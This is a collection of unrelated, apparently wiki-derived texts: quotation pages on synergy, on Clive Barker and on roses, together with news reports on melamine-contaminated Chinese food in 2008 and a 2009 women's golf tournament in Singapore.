"culture of will, of moral energy; through love". In La synergie sociale Mazel argued that Darwinian theory failed to account for "social synergy", or "social love", a collective evolutionary drive. The highest civilizations were the work not only of the elite but of the masses too; those masses must be led, however, for the crowd, a feminine and unconscious force, could not distinguish between good and evil. Socialists and anarchists who preached mediocrity led the attack on exceptional individuals—saints, heroes, or artists. Margaret Werth, The Joy of Life: The Idyllic in French Art, circa 1900 University of California Press, 2002, p. 51 Lester Frank Ward (June 18, 1841 – April 18, 1913) was an American botanist, paleontologist, and sociologist. He served as the first president of the American Sociological Association. Synergy That there is a universal principle, operating in every department of nature and at every stage in evolution, which is conservative, creative, and constructive, has been evident to me for many years, but it required long meditation and extensive observation to discover its true nature. After having fairly grasped it I was still troubled to reduce it to its simplest form, and characterize it by an appropriate name. I have at last fixed upon the word synergy as the term best adapted to express its twofold character of energy and mutuality, or the systematic and organic working together of the antithetical forces of nature. The third and equally essential and invariable quality of creation or construction is still lacking in the name chosen, unless we assume, as I think we may do, that work implies some product, to distinguish it from simple activity. Pure Sociology. A Treatise on the Origin and Spontaneous Development of Society 1903, p. 171 Synergy is a synthesis of work, or synthetic work, and this is what is everywhere taking place. It may be said to begin with the primary atomic collision in which mass, motion, time, and space are involved, and to find its simplest expression in the formula for force ( m s t 2 {\displaystyle {\tfrac {ms}{t^{2}}}} ), which implies a plurality of elements, and signifies an interaction of these elements. ... It further seems probable that vortex motion is based on this principle, or is the same principle, and it is through this that some expect the problem of the nature of gravitation to find its solution. Pure Sociology. A Treatise on the Origin and Spontaneous Development of Society 1903, p. 171 The true nature of the universal principle of synergy pervading all nature and creating all the different kinds of structure that we observe to exist, must now be made clearer. Primarily and essentially it is a process of equilibration, i.e., the several forces are first brought into a state of partial equilibrium. It begins in collision, conflict, antagonism, and opposition, and then we have the milder phases of antithesis, competition, and interaction, passing next into a modus vivendi, or compromise, and ending in collaboration and cooperation. ... The entire drift is toward economy, conservatism, and the prevention of waste. (*James Quayle Dealey, Lester Frank Ward, A Text-book of Sociology Macmillan, 1905, pp. 165, 168 I have characterized the social struggle as centrifugal and social solidarity as centripetal. Either alone is productive of evil consequences. Struggle is essentially destructive of the social order, while communism removes individual initiative. The one leads to disorder, the other to degeneracy. What is not seen—the truth that has no expounders—is that the wholesome, constructive movement consists in the properly ordered combination and interaction of both these principles. This is social synergy, which is a form of cosmic synergy, the universal constructive principle of nature. Glimpses of the Cosmos Vol. VI (1897–1912), G. P. Putnam's Sons, 1918, p. 358 Hermann Haken (born July 12, 1927 in Leipzig, Germany) is a physicist and professor emeritus of theoretical physics at the University of Stuttgart. He is known as the founder of synergetics. The mediating role of the brain can perhaps be best envisaged in terms of synergetic concepts: In thinking or making plans certain parts of the brain undergo coherent, collective activity states of possibly a great number of neurons, where concepts or ideas function as, or are represented by, order parameters of these collective activities. This would mean that in H. Haken's terminology of synergetics neurons or certain states of them (as parts of World 1) become enslaved by elements of World 2 (psychic events) and World 3 (mental entities). Hermann Haken (ed. ), Michael Stadler (ed. ), Synergetics of Cognition: Proceedings of the International Symposium at Schloss Elmau, Bavaria, June 4–8, 1989 Springer, 1990, p. 357 As we have seen, Hermann Haken assumed neurons were sub-systems in the brain whereas "thoughts" (Gedanken) represent the order parameters. According to the concepts of synergetics both parts have to react on different timescales in order for the sub-systems to be "enslaved". That holds true for the brain: while the neurons fire on a timescale of milliseconds the perception of new content (Gedanken) varies by tenths of a second. Bernd Kröge, Hermann Haken: From the Laser to Synergetics: A Scientific Biography of the Early Years Springer, 2014, p. 205 Buckminster Fuller (July 12, 1895 – July 1, 1983) was an American architect, systems theorist, author, designer, and inventor. He has published more than 30 books and played an important role in the popularization of synergetics. In 1927,Buckminster Fuller in Convergence, vols. 1–2, Ontario Institute for Studies in Education, 1968, p. 107: "This doing-more-with-less I identified in 1927 as ephemeralization." I have to ask you, sir, are you familiar with the word “synergy”?...I have been a visitor at 320 universities and colleges around the world and always have asked those university audiences “How many of you are familiar with the word ‘synergy’?” I can say authoritatively that less than 10 percent of university audiences and less than 1 percent of non-university audiences are familiar with the word and meaning of synergy. Synergy is not a popular word. The word synergy is a companion to the word “energy.” Energy and synergy. The prefix “syn” of synthesis meaning “with, to integrate” and the “en” of energy means “separating out ” Man is very familiar with energy, he has learned to separate out, or isolate certain behaviors of total nature and thus has become familiar with many of the separate natural behaviors such as optics. But the only partially isolatable behavior is always modifyingly employed by the whole. If humans had to purchase their many separate organs, stomachs, livers, endocrine glands, tongues, eyeballs, and bowels and thereafter to assemble those parts into logical interfunctioning, they would never do so. All those parts had to be preassembled and unitarily skinned in and coordinately operated by multiquadrillions of atoms in the brain which after 16 years of practical spontaneous coordination becomes so aesthetically acceptable one to the other that as it sings, dances, and smiles one is inclined to procreate with the other. Synergy is to energy as integration is to differentiation The word “synergy” means “Behavior of whole systems unpredicted by behavior of any of the systems parts.” Nature is comprehensively synergetic. Since synergy is the only word having that meaning and we have proven experimentally that it is not used by the public, we may conclude that society does not understand nature I find all of our world society is operating exclusively in parts. We know this because the word synergy is unknown popularly and it is the only word that means “behavior of wholes unpredicted by behavior of their parts.” This proves that society does not even think that it has a need for such a word. This discloses that society does not think that there are behaviors of wholes unpredicted by the parts. It thinks statistics and probability are all that we need but if “probability” and “statistics” were of any power at all we could not have a stock market or gambling for we would know exactly how things are coming out and no one would bet against the probability. Because nature is entirely synergetic and because your problems of representing a society ignorant of such fundamentals are greatly increased you need to pay great attention to learning how to comprehend synergy and thereafter how to educate all of humanity in the shortest time how to comprehend and usefully cope with omni-synergetic universe I will give you one very simple example of synergy. All our metallic alloys are synergetic. We will examine chrome-nickel steel. The outstanding characteristic of metallic strength is its ability to cohere in one piece. We test the metals tensile strength per square inch of cross section of the tested sample. The very high number of pounds-per-square-inch tensile strength of chrome-nickel steel has changed our whole economy because it retained its structural integrity at so high a temperature as to make possible the jet engine which has halved the time it takes to fly around the world. If we have two spherical bodies of equal mass at a given distance from each other and insert a third spherical body of the same mass half way between the two we do not double the mass attraction between any two of the three. We increase the attraction by 2 to the second power which is 4. Halving the distance fourfolds the inter-mass attraction. When we bring a galaxy of iron atoms together with the chromium atoms and a galaxy of nickel atoms they all fit neatly between one another and bring about the multifolding of their intercoherency. But there is nothing in one body by itself that says that it will have mass attraction. This can only be discovered by experimenting with two and more bodies. And even then there is no explanation of why there must be mass attraction and why it should increase as the second power of the relative increase of proximity. That is synergy. Our school systems are all nonsynergetic. We take the whole child and fractionate the scope of his or her comprehending coordination by putting the children in elementary schools—to become preoccupied with elements or isolated facts only. Thereafter we force them to choose some specialization, forcing them to forget the whole. ... We may well ask how it happened that the entire scheme of advanced education is devoted exclusively to ever narrower specialization. We find that the historical beginnings of schools and tutoring were established, and economically supported by illiterate and vastly ambitious warlords who required a wide variety of brain slaves with which to logistically and ballistically overwhelm those who opposed their expansion of physical conquest. They also simultaneously DIVIDED and CONQUERED any and all "bright ones" who might otherwise rise within their realms to threaten their supremacy. The warlord vitiated their threat by making them all specialists and reserving to himself exclusively the right to think about and act comprehensively. The warlord made all those about him differentiators and reserved the function of integration to himself. (full text online) Science's self-assumed responsibility has been self-limited to disclosure to society only of the separate, supposedly physical (because separately weighable) atomic component isolations data. Synergetic integrity would require the scientists to announce that in reality what had been identified heretofore as physical is entirely metaphysical — because synergetically weightless. Metaphysical has been science's designation for all weightless phenomena such as thought. But science has made no experimental finding of any phenomena that can be described as a solid, or as continuous, or as a straight surface plane, or as a straight line, or as infinite anything. We are now synergetically forced to conclude that all phenomena are metaphysical; wherefore, as many have long suspected—like it or not—"life is but a dream". There is nothing that a single massive sphere will or can ever do by itself that says it will both exert and yield attractively with a neighboring massive sphere and that it yields progressively: every time the distance between the two is halved, the attraction will be fourfolded. This unpredicted, only mutual behavior is synergy. Synergetics Macmillan, 1975, §110.00 There are progressive degrees of synergy, called synergy-of-synergies, which are complexes of behavior aggregates holistically unpredicted by the separate behaviors of any of their subcomplex components. Any subcomplex aggregate is only a component aggregation of an even greater event aggregation whose comprehensive behaviors are never predicted by the component aggregates alone. There is a synergetic progression in Universe—a hierarchy of total complex behaviors entirely unpredicted by their successive subcomplexes' behaviors. It is manifest that Universe is the maximum synergy-of-synergies, being utterly unpredicted by any of its parts. Synergetics Macmillan, 1975, §150.01 Buckminster Fuller Cooperation Education Energy Perfection Oligarchy Wikipedia has an article about: Synergy Here m, s, and t are the three fundamental physical dimensions of mass, space, and time. Force is the product of mass (m) and acceleration (metre per second squared, or s/t2).
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Friday, September 26, 2008 Health Related articles 21 January 2022: Australian authorities probe rapid antigen test price gouging 29 October 2021: Northern Marianas governor closes schools for ten days after three COVID-19 cases detected 12 October 2021: Texas governor bans COVID-19 vaccine mandate by any 'entity' 3 October 2021: Rosemary Cousin, Greens candidate in South Gippsland, Australia, speaks to Wikinews about democracy, transport, forests and other local issues 3 October 2021: Australia: Wikinews interviews Les Harmer, South Gippsland local election candidate Collaborate! Pillars of Wikinews writing Writing an article The World Health Organization (WHO) is warning that more food imported from China may be contaminated with melamine, a chemical used in the manufacturing of plastics. Melamine, although nontoxic in very small amounts, can cause severe kidney problems in large doses. Guanshengyuan, a Chinese company that makes children's candy, has stopped selling its popular brand White Rabbit, which is sold nationally in China, after tests confirmed the presence of melamine. Bright foods owns the candy company. Earlier their powdered milk was found to contain melamine which sickened over 53,000 people and was responsible for the deaths of at least four infant children. Guanshengyuan has stopped exporting their goods to the nearly 50 companies overseas that buy them. Melamine has also been found in Hong Kong in baby cereal and vegetable formula made by Heinz. It has also been found in wasabi crackers which are manufactured by the Chinese company, Silang House. Another Chinese food company called Marudai Food Co. has also halted the sales of several items such as meat buns, cream buns and corn crepes made with cream over fears that melamine laced powered milk has contaminated their products. So far there have been no reports of any illnesses associated with Marudai Foods. Further items recalled or other products that feared to be contaminated with melamine are Mr. Browns Instant Coffee and tea products, along with their powdered milk. The first report of contamination came last week when the Chinese health ministry confirmed that the companies responsible for producing the milk were trying to repair their damaged public image by increasing output using melamine. The Chinese Health Ministry has stated that most of the tainted milk was produced by Shijiazhuang Sanlu Group Co. The WHO says that women with infants should consider breast feeding for the time being on infants aged at least six months, until the contaminated milk can be removed from the consumption chain. "WHO recommends that all infants should be fed exclusively with breast milk for the first six months of life. No other liquid or food, not even water, is needed during this period. Thereafter, infants should receive adequate and safe complementary foods while breastfeeding continues up to two years of age and beyond," said the WHO in a statement on their website. In 2007, the Food and Drug Administration (FDA) confirmed the presence of melamine in pet food that was imported from China. Samples indicated that wheat gluten, used as an ingredient in the pet food, was contaminated with the chemical. As a result of the contamination, the FDA said some of the contaminated gluten entered the human food chain. At least 45 people ate contaminated pork which was traced to pigs from a farm in California. The pigs had eaten feed that had been contaminated. There were no reports of deaths or illnesses. "Contaminated baby's milk induces wave of child illness in China" — Wikinews, September 22, 2008 "US: Melamine from contaminated pet food enters human food chain" — Wikinews, April 29, 2007 "US Food and Drug Administration reports melamine found in contaminated pet food" — Wikinews, March 30, 2007 "HK finds melamine in baby cereal, crackers" — eTaiwan News, September 26, 2008 "China stops tainted sweet sales" — BBC News Online, September 26, 2008 Larry Liebert. "Instant Coffee, Tea From China Recalled for Melamine (Update1)" — Bloomberg L.P., September 26, 2008 Press Release: "Vigilance needed to ensure safe infant food" — World Health Organization, September 26, 2008
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Thursday, March 12, 2009 Korean Jiyai Shin played a faultless final round to win the HSBC Women's Champions in Singapore at the Tanah Merah Country Club. Starting the final day six shots behind the overnight leader of, Katherine Hull, Shin birdied the first four holes to close the gap quickly. Shin who is ranked 4th in the world takes home a purse of US$300,000. Shin showed class and poise to seal the championship with her approach shot on the 18th. Playing from 180 yards on the par 4, Shin found the green with comfort and was left with a 30 foot putt to seal victory. Despite running her putt well past the hole, Shin sunk the putt to par and finish with 6 under for the day and 11 under for the tournament. The championship took an interesting turn midway through the final round when Katherine Hull boogied the 10th hole and then two holes later followed with another bogey. Seemingly shaken from two lost shots early on the back nine, Hull then found trouble left on the 14th fairway and had to take an unplayable lie and consequently double-boogied. These two holes took Hull from at one point a four shot lead to suddenly being level with Shin who was gaining in confidence each hole. Hull managed a birdie on the 17th and still in contention to force a play-off should Shin falter. Hull’s final tee-shot again showed the difficulties she had been experiencing all day and pushed it right forcing another drop and effectively ending her chances. Hull finished with another boogie and 74 for the final round. Behind Hull and Shin there was a series of interesting battles for the minor placings with Paula Creamer scoring birdie on the 16th and 17th holes and then finding trouble on her first shot on the 18th effectively ending her chance of staging an unlikely win. Her recovery from the bunker still left her short of the green and eventually finishing with a boogie and 8 under for the tournament in equal 3rd place. World number one rated player, Mexican Lorena Ochoa, never troubled the leaders after winning last years HSBC championship and also winning last week at the tour of Thailand. Ochoa finished in sixth place with a final score of seven under. Her chance of scoring back-to-back wins faded with a disappointing second round of 73. Another player who found difficulties in finishing the final round was Sun Young Yoo who boogied three consecutive hole starting at the 13th dropping her from second place to eighth. Yoo scored a much needed birdie on the 17th to finish tied for sixth with Jane Park and Lorena Ochoa HSBC Womens Championship Final Standings "Australia's Katherine Hull takes charge at HSBC Champions in Singapore" — Foxsports.com.au, March 07, 2009 "HSBC Womens Championships Leaderboard" — LPGA.Com, March 08, 2009 "Shin wins HSBC Women's Champions" — yahoo.com, March 08, 2009 "Jiyai Shin wins HSBC Women's Champions" — Yahoo.com Philippines, "LPGA Womens Rolex Rankings" — LPGA.Com, March 02, 2009
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Clive Barker (born 5 October 1952) is an English playwright, author, film director, and visual artist. His novels include The Great and Secret Show, Weaveworld, and Imajica. His films include Hellraiser, Nightbreed, and Lord of Illusions. Non-fiction contains facts, fiction contains truth. Next Testament (Boom Studios, 2014) By and large, horror fiction is the most difficult to domesticate because part of the point is that it's one step ahead – or behind – everybody else's taste. And I'm not really convinced I'd like it to change. There's something very healthy about horror fiction being always a little bit on the outside. It's the wild-dog genre. The Advocate (Feb. 21, 1995) Every body is a book of blood; Wherever we're opened, we're red. Clive Barker's Books of Blood Flesh is our indisputable commonality. Whatever our race, our religion, our politics we are faced every morning with the fact of our bodies. Their frailties, their demands, their desires. And yet the erotic appetites that spring from - and are expressed through - those bodies, are so often a source of bitter dissension and division. Acts that offer a glimpse of transcendence to one group are condemned by another. We are pressured from every side - by peers, by church, by state - to accept the consensual definition of taboo; though so often what excites our imaginations most is the violation of taboo. Introduction to "One Flesh" exibition, April 4-27, 1997 If we have nothing to do but service our own pleasure – because society has taught us that's all we're worth and we're exiled from positions of authority from which we could actually shape society – then we just become hedonists. Eventually, despite how great it may look on Saturday night, come Monday morning there's just purposelessness. The Advocate (Feb. 21, 1995) I was a weird little kid. I was very irritable, bored, frustrated. I felt my imagination bubbling inside my head without having any way to express itself. Given a crayon and paper, I would not draw a train or a house. I would draw these monsters, beasts and demons. Gigaplex's interview, 1995 I've held a brain in my hands, which is an extraordinary experience. Gigaplex's interview, 1995 Memory, prophecy and fantasy the past, the future and the dreaming moment between are all one country, living one immortal day. To know that is Wisdom. To use it is the Art. The Great and Secret Show Movies are much more fascist than books. They tell you what to feel, when to feel it. Popular movies manipulate you. Music tells you when it's a sad part and when it's a happy part. You're obliged to watch them at the speed the filmmaker has created for you. That, I think, is one of the reasons why they're so popular - because you don't have to think very hard. The filmmaker has done all the thinking for you. "Clive Barker: Love, Death, & the Whole Damned Thing", Locus (1995) One of the reasons why I don't get on with most fantasy writing - enchanted sword fantasy writing - is because I think it's emotionally untrue. People behave in very simple ways, unparadoxical ways. What I'm trying to do is bring into fantasy - as I hope I've been able to bring to horror - a certain kind of emotional realism. People have mentioned sex as being a major part of my fiction. An awful lot of horror fiction simply never contained that kind of material. Which seems to me to be extraordinary because most horror fiction is about the body in some way or other, and therefore it should be about sensuality and eroticism every bit as much as it's about corruption. Writer's Digest, March 1991 The fact that Pinhead is a character that audiences want to watch, that women find sexy, that people have tattooed on their own bodies, I think, is perfectly extraordinary, and I'm incredibly pleased about it. I don't think an analysis of what he does in the movies ever completely illuminates the charm that the guy has. "A Living 'Hellraiser'", The Daily Bruin, Thursday, May 7, 1992 The monsters act out our rage. They act on their worst impulses, which is appealing to a certain part of us. They get punished for it, but we've enjoyed the spectacle of their liberation. The Advocate (Feb. 21, 1995) The paintings of Francis Bacon to my eye are very beautiful. The paintings of Bosch or Goya are to my eye very beautiful. I've also stood in front of those same paintings with people who've said, "let's get on to the Botticellis as soon as possible." I have lingered, of course. American Heroes #174 Writing a book is like masturbation, and making a movie is like an orgy. Gigaplex's interview, 1995 Your average game show host on TV, for instance, doesn't believe himself to be banal. He actually thinks that he's quite interesting. And if you look at the viewing figures, so do an enormous number of people in this country. American Heroes #174 We are all our own graveyards I believe; we squat amongst the tombs of the people we were. If we're healthy, every day is a celebration, a Day of the Dead, in which we give thanks for the lives that we lived; and if we are neurotic we brood and mourn and wish that the past was still present. Foreword: Books of Blood 1-3 Here is a list of fearful things: The jaws of sharks, a vulture's wings, The rabid bite of the dog's of war, The voice of one who went before. But most of all the mirror's gaze, which counts us out our numbered days. Abarat, Book One Life is short, and pleasures few, and holed the ship, and drowned the crew, But O! But O! How very blue the sea is! Abarat, Book One All page numbers from the hardcover first American edition published by Poseidon Press Nothing ever begins. There is no first moment; no single word or place from which this or any other story springs. The threads can always be traced back to some earlier tale, and to the tales that preceded that: though as the narrator’s voice recedes the connections will seem to grow more tenuous, for each age will want the tale told as if it were of its own making. Thus the pagan will be sanctified, the tragic become laughable; great lovers will stoop to sentiment, and demons dwindle to clockwork toys. Nothing is fixed. In and out the shuttle goes, fact and fiction, mind and matter woven into patterns that may have only this in common: that hidden amongst them is a filigree which will with time become a world. It must be arbitrary then, the place at which we chose to embark. Somewhere between a past half forgotten and a future as yet only glimpsed. Part One “Wild Blue Yonder”, Chapter i “Homing”, Section 1 (p. 19; opening words) Lilia sighed. “Why me?” she said, still shaking. “Why should I have to tell it?” “Because you’re the best liar,” Jerichau replied with a tight smile. “You can make it true.” Part Three “The Exiles”, Chapter ii “Walking in the Dark” (p. 123) “Believe nothing,” Apolline advised. “This woman wouldn’t know the truth if it fucked her.” Part Three “The Exiles”, Chapter iii “What She Told” (p. 124) Among their members were some of the wealthiest individuals in the world; between them, fortunes sufficient to trade in nations. None of the seven had a name that would have meant anything to the hoi polloi—they were, like the truly mighty, anonymously great. Part Three “The Exiles”, Chapter ix “On the Might of Princes” (pp. 156-157) True joy is a profound remembering; and true grief the same. Part Five “Revels”, Chapter i “Cal, Among Miracles” (p. 199) “And us?” said the Hag. “What happens to us then? Will we be free?” “That’s what we agreed.” “We can go into extinction?” “If that’s what you want.” “More than anything,” said the Hag. “More than anything.” “There are worse things than existence,” said Immacolata. “Oh?” the Hag replied. “Can you name one?” Immacolata thought for a short while. “No,” she conceded, with a soft sigh of distress. “You may be right, sister.” Part Five “Revels”, Chapter iv “Allegiances”, Section 1 (p. 210) Of course, there was Hobart. The Inspector was probably insane, but that was all to the good. And he had one particular aspiration which Shadwell knew he might one day need to turn to his own ends. That was, to lead—as Hobart put it—a righteous crusade. Part Six “Back Among the Blind Men”, Chapter v “Our Lady of the Bones”, Section 1 (p. 272) ...Take this all of you and eat it. This is my body which will be given up for you... Old words; old rituals. But they still made sound commercial sense. Talk of Power and Might would always attract an audience. Lords never went out of fashion. Part Six “Back Among the Blind Men”, Chapter v “Our Lady of the Bones”, Section 2 (p. 273) It was absurd and frustrating, to feel so much and know so little. Part Seven “The Demagogue”, Chapter vi “Hello, Stranger”, Section 2 (p. 306) Perhaps there was a natural process at work here; a means by which the mind dealt with experiences that contradicted a lifetime’s prejudices about the nature of reality. People simple forgot. Part Seven “The Demagogue”, Chapter vi “Hello, Stranger”, Section 2 (p. 307) “Shadwell?” said Suzanna. “Their beloved Prophet,” came the reply. “Beneath that show of holiness I lent him there beats a salesman’s heart.” So Shadwell was the Prophet. What a perfect irony, that the seller of encyclopedias should end up peddling hope. “It was his idea,” said the Incantatrix, “to give them a Messiah. Now they’ve got a righteous crusade, as Hobart calls it. They’re going to claim their promised land. And destroy it in the process.” “They won’t fall for this.” “They already have, sister. Holy wars are easier to start than rumors among your Kind or mine. They believe every sacred word he tells them, as though their lives depended upon it. Which in a sense they do. They’ve been conspired against and cheated—and they’re ready to tear the Fugue apart to get their hands on those responsible. Isn’t that perfect? The Fugue’ll die at the very hands of those who’ve come to save it.” “And that’s what Shadwell wants?” “He’s a man: he wants adoration.”She gazed over Suzanna’s shoulder toward the unweaving, and the Salesman, still in its midst. “And that’s what he’s got. So he’s happy.” Part Seven “The Demagogue”, Chapter x “Fatalities”, Section 1 (p. 321) Shadwell threw down his gun, and—though he had no taste for abattoirs—forced himself to survey the carnage before him. It was, he knew, the responsibility of one aspiring to godhood never to look away. Willful ignorance was the last refuge of humanity, and that was a condition he would soon have transcended. And, when he studied the scene, it wasn’t so unbearable. He could look at the tumble of corpses and see them for the empty sacks they were. Part Eight “The Return”, Chapter iii “The Horse Unharnessed”, Section 2 (p. 344) What the enemy believed of you was probably true, or else why were you enemies in the first place? Part Eight “The Return”, Chapter v “Nonesuch”, Section 2 (p. 353) Life and wisdom. What more could anybody ask? Part Eight “The Return”, Chapter viii “The Essential Dragon” (p. 373) Godhood called, and he went, fleet-footed, to worship at his own altar. Part Eight “The Return”, Chapter xiii “A Fleeting Glimpse”, Section 1 (p. 402) What can be imagined— —need never be lost. Part Nine “Into the Gyre”, Chapter iii “The Miracle of the Loom” (p. 429; catchphrase frequently repeated) He would be vigilant, but he would anticipate nothing, neither disaster nor revelation. That was not to say he would give up looking to the future. True, he was just a Cuckoo: scared and weary and alone. But so, in the end were most of his tribe: it didn’t mean all was lost. As long as they could still be moved by a minor chord, or brought to a crisis of tears by scenes of lovers reunited; as long as there was room in their cautious hearts for games of chance, and laughter in the face of God, that must surely be enough to save them, at the last. If not, there was no hope for any living thing. Part Nine “Into the Gyre”, Chapter v “A Fragile Peace”, Section 3 (p. 440) She told him she made a rule of never marrying bankers. The next day he sent flowers, and a note saying that he’d relinquished his profession. Part Eleven “The Dream Season”, Chapter ii “Representations”, Section 2 (p. 479) As to the remnants of his army—those Seerkind who’d embraced the Prophet’s visions—they’d been the authors of their own punishment, waking from their evangelical nightmare to find it had destroyed all they held dear. Part Eleven “The Dream Season”, Chapter ii “Representations”, Section 2 (p. 479) Suzanna didn’t wait for confirmation. There was no use disbelieving the worst now. Part Eleven “The Dream Season”, Chapter iv “The Shrine of the Mortalities”, Section 3 (p. 494) So he believes. The truth may be more...complex. Part Eleven “The Dream Season”, Chapter iv “The Shrine of the Mortalities”, Section 3 (p. 494) Always the sightseers: open-mouthed, disbelieving. There was a force for desolation loose in their midst which could consume their lives at a glance, surely they could see that? But they’d watch anyway, willing to embrace the void if it came with sufficient razzmatazz. Part Eleven “The Dream Season”, Chapter v “The Naked Flame”, Section 4 (p. 502) There was such sanity in his voice; a politician’s sanity, as he sold his flock the wisdom of the bomb. This soulless certainty was more chilling than hysteria or malice. Part Eleven “The Dream Season”, Chapter vi “Death Comes Home”, Section (p. 507) “Don’t be sentimental,” he chided. “Memories aren’t enough.” It was fruitless to argue the niceties of that: he was telling her that he was in pain; he didn’t want platitudes or metaphysics. Part Twelve “Stalking Paradise”, Chapter i “A Chapter of Accidents”, Section 4 (p. 517) “Don’t worry,” he told her. “Me?” she said. “I never worry. It’s all going to end badly whether I worry or not.” Part Thirteen “Magic Night”, Chapter ii “Shelter from the Storm”, Section 2 (p. 553) “Are you coming?” he said. “In a moment.” “It’s now or never.” Maybe it would be never, then. She was so transfixed by the formidable power being unleashed in front of her, she couldn’t avert her astonished gaze. It fascinated her that strength of this magnitude should be turned to the sordid business of atrocity; something was wrong with a reality that made that possible, and offered no cure for it, nor hope of cure. Part Thirteen “Magic Night”, Chapter iv “Symmetry”, Section 2 (p. 569) Main article: Clive Barker's Undying ...I have seen the future of implausible plotting, and his name is Clive Barker. Roger Ebert, reviewing Barker's film Hellraiser, The Chicago Sun Times, September 18, 1987 I have seen the future of horror and his name is Clive Barker. Stephen King, as quoted by Richard Harrington, reviewing Barker's film 'Hellraiser, The Washington Post, September 19, 1987 Wikipedia has an article about: Clive Barker Revelations - The Official Clive Barker Resource Barker's official website, updated as of April 2020
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For other uses, see Rose (disambiguation). Roses are perennial plants of the genus Rosa, within the family Rosaceae. There are over 100 species. They form a group of erect shrubs, and climbing or trailing plants, with stems that are often armed with sharp prickles. Flowers are large and showy, in a number of colours from white through yellows and reds. Most species are native to Asia, with smaller numbers native to Europe, North America, and northwest Africa. Species, cultivars and hybrids are all widely grown for their beauty and fragrance. Rose plants range in size from compact, miniature roses, to climbers that can reach 7 meters in height. Species from different parts of the world easily hybridize, which has given rise to the many types of garden roses. Roses are also considered a symbol of love in certain cultures. Now the milch-cows chew the cud, Everywhere are roses, roses; Here a-blow, and there a-bud, Here in pairs, and there in posies. Roses from the gable's cliff With pale flaky petals strowing All the garden-paths, as if Frolic summer took to snowing. Alfred Austin, Fortunatus the Pessimist (London: Macmillan and Co., 1892), Act II, sc. ii; p. 99. O Rose thou art sick. The invisible worm, That flies in the night In the howling storm: Has found out thy bed Of crimson joy: And his dark secret love Does thy life destroy. William Blake, The sick rose. When we desire to confine our words, we commonly say they are spoken under the rose. Thomas Browne, Vulgar Errors, as reported in Bartlett's Familiar Quotations, 10th ed. (1919). This guelder rose, at far too slight a beck Of the wind, will toss about her flower-apples. Elizabeth Barrett Browning, Aurora Leigh (1856), Book II. 'Twas a yellow rose, By that south window of the little house, My cousin Romney gathered with his hand On all my birthdays, for me, save the last; And then I shook the tree too rough, too rough, For roses to stay after. Elizabeth Barrett Browning, Aurora Leigh (1856), Book VI. Oh, my Luve is like a red, red rose, That's newly sprung in June. O, my Luve is like the melodie, That's sweetly played in tune. Robert Burns, A Red, Red Rose, in Posthumous Pieces (1799), st. 1. Give me one wish, and I'd be wassailing In the orchard, my English rose, Or with my shepherd, who'll bring me home. Kate Bush, in "Oh England My Lionheart" on Lionheart (1978). This little girl inside me Is retreating to her favourite place. Go into the garden. Go under the ivy, Under the leaves, Away from the party. Go right to the rose. Go right to the White Rose (For me.) Kate Bush, in "Under the Ivy" (1985). I'll be the Rose of Sharon for you Ooh I'll come in a hurricane for you I'll do it for you... Kate Bush, in "Song of Solomon" on The Red Shoes (1993). It never will rain roses: when we want To have more roses we must plant more trees. George Eliot, Spanish Gypsy (1868), Book III. Flowers of all hue, and without thorn the rose. John Milton, Paradise Lost (1667; 1674), Book IV, line 256. You can't really measure the effect of this kind of resistance in whether or not X number of bridges were blown up or a regime fell... The White Rose really has a more symbolic value, but that's a very important value. Jud Newborn speaking of the Nazi-era German resistance group White Rose in Newsday (22 February 1993). The red rose whispers of passion, And the white rose breathes of love; O, the red rose is a falcon, And the white rose is a dove. John Boyle O'Reilly, A White Rose, lines 1-4, in In Bohemia (1886), p. 24. Every rose has its thorn Just like every night has its dawn Just like every cowboy sings his sad, sad song. Every rose has its thorn. Poison, "Every Rose Has Its Thorn", Open Up And Say... Ahh (1988). Die of a rose in aromatic pain. Alexander Pope, An Essay on Man (1733-34), Epistle I, line 200. Like roses, that in deserts bloom and die. Alexander Pope, The Rape of the Lock (1712), Canto IV, line 158. God gave His children memory That in life's garden there might be June roses in December. Geoffrey Studdert Kennedy, from Roses in December, in Songs of Faith and Doubt (1922) In the mean time, Emily sat picking to pieces a rosebud, from the first deep crimson leaf to the delicate pink inside. Oh! that organ of destructiveness! She had gathered it only an hour ago—a single solitary flower, where the shrubbery had run into too luxuriant a vegetation for much bloom—the very Una of roses among the green leaves, "Making a sunshine in the shady place;" and now she was destroying it. Letitia Elizabeth Landon, Romance and Reality (1831), vol.2, page 98. As rich and purposeless as is the rose: Thy simple doom is to be beautiful. Stephen Phillips, "Marpessa", line 51, in Poems (London: John Lane, 1897), p. 11. Inter omnes flores principatum Rosa facile obtinet. Among all the flowers the rose enjoys indisputable primacy. Crispijn van de Passe, Hortus floridus, Vol. 2 (Arnhem, 1614), p. 12. Viera estar rosal florido, cogí rosas con sospiro: vengo del rosale. Del rosal vengo, mi madre, vengo del rosale. I saw the rose-grove blushing in pride, I gathered the blushing rose—and sigh'd— I come from the rose-grove, mother, I come from the grove of roses. Gil Vicente, Del rosal vengo, mi madre ("I Come from the Rose-grove, Mother"), as translated by J. Bowring in Ancient Poetry and Romances of Spain (1824), p. 317. Red rose, proud Rose, sad Rose of all my days! William Butler Yeats, To the Rose Upon the Road of Time Quotes reported in Hoyt's New Cyclopedia Of Practical Quotations (1922), p. 678-682. She wore a wreath of roses, The night that first we met. Thomas Haynes Bayly, She Wore a Wreath of Roses. The rose that all are praising Is not the rose for me. Thomas Haynes Bayly, The Rose That all are Praising. Go pretty rose, go to my fair, Go tell her all I fain would dare, Tell her of hope; tell her of spring, Tell her of all I fain would sing, Oh! were I like thee, so fair a thing. Mike Beverly, Go Pretty Rose. Thus to the Rose, the Thistle: Why art thou not of thistle-breed? Of use thou'dst, then, be truly, For asses might upon thee feed. F. N. Bodenstedt, The Rose and Thistle. Translation from the German by Frederick Ricord. The full-blown rose, mid dewy sweets Most perfect dies. Maria Brooks, Written on Seeing Pharamond. O rose, who dares to name thee? No longer roseate now, nor soft, nor sweet, But pale, and hard, and dry, as stubblewheat,— Kept seven years in a drawer, thy titles shame thee. Elizabeth Barrett Browning, A Dead Rose. And thus, what can we do, Poor rose and poet too, Who both antedate our mission In an unprepared season? Elizabeth Barrett Browning, A Lay of the Early Rose. "For if I wait," said she, "Till time for roses be,— For the moss-rose and the musk-rose, Maiden-blush and royal-dusk rose,— "What glory then for me In such a company?— Roses plenty, roses plenty And one nightingale for twenty?" Elizabeth Barrett Browning, A Lay of the Early Rose. Red as a rose of Harpocrate. Elizabeth Barrett Browning, Isabel's Child. You smell a rose through a fence: If two should smell it, what matter? Elizabeth Barrett Browning, Lord Walter's Wife. A white rosebud for a guerdon. Elizabeth Barrett Browning, Romance of the Swan's Nest. All June I bound the 